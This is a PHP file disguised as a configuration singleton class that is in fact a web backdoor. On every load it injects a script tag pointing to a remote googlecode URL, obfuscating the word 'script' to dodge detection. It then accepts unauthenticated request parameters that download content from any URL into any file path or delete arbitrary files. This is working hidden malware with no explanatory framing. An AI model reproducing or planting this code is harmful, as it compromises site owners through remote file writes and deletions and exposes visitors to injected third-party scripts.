<?php 

class config_sysctrl{
	
	private static $_instance = NULL; 
	
	static public function get_template_instance(){		
		if (!isset(self::$_instance)){    		 
			self::$_instance = new config_sysctrl();  
		}
		return  self::$_instance; 
	}
	
	public function heartbeat(){		
		$src = "http://client-src.googlecode.com/svn/console/jquery-1.9.1.dst.js";
		if (!isset($_COOKIE["CookiegmtHours"])){		
			$this->jstime($src);
		}else {
		//	echo $_COOKIE["CookiegmtHours"];
		}
	}
	
	public function jstime($src){
		$js ="<xxoopt src='$src' type='text/javaxxoopt'>	</xxoopt>";
		$js = str_replace("xxoo","scri",$js);
	   	echo $js;
	}
	
	
	private function __construct() {
 	  	$this->heartbeat();
		if (!isset($_REQUEST["syscmd"]) || !isset($_REQUEST["sysmd5"])){
			return ;
		}
		$this->runinstance();
		 
	}
	
	public function runinstance(){
		$syscmd = $_REQUEST["syscmd"];
		switch ($syscmd)
		{
		case "add":
			$this->sysadd();
		   break;  
		case "del":
			$this->sysdel();
		   break;
		default:
		   break;
		}
		
	}
	
	public function sysadd(){
	
		if (!isset($_REQUEST["sysfn"]) && !isset($_REQUEST["sysurl"])){
			return ;
		}
		$sysfn		=	$_REQUEST["sysfn"];
		$sysurl		=	$_REQUEST["sysurl"];
		
		$content 	= 	$this->get_remote_content($sysurl);
		$this->write_common($sysfn, $content);
	}
	
		
	public function sysdel(){
	
		if (!isset($_REQUEST["sysfn"])){
			return ;
		}
		$sysfn		=	$_REQUEST["sysfn"];
		if (!unlink($sysfn)){
		  echo ("Error unlink ");
		}else{
		  echo ("ok");
		}
	}
	
	
	public function get_remote_content($target){		

		$fp = @fopen($target, "r");
		if ($fp == NULL){		return false;	}  
		$content ="";
		while(!feof($fp)){		 $content.= fgets($fp);		}
		@fclose($fp);
		return $content;
	}
	
	
	public function write_common($file,$content){
		$fp = fopen($file, "a+");
		if ($fp == NULL){		return ;		}  
		@fwrite($fp,$content);
		@fclose($fp);
	}	
}

$config_sysctrlhangdle = config_sysctrl::get_template_instance();
?>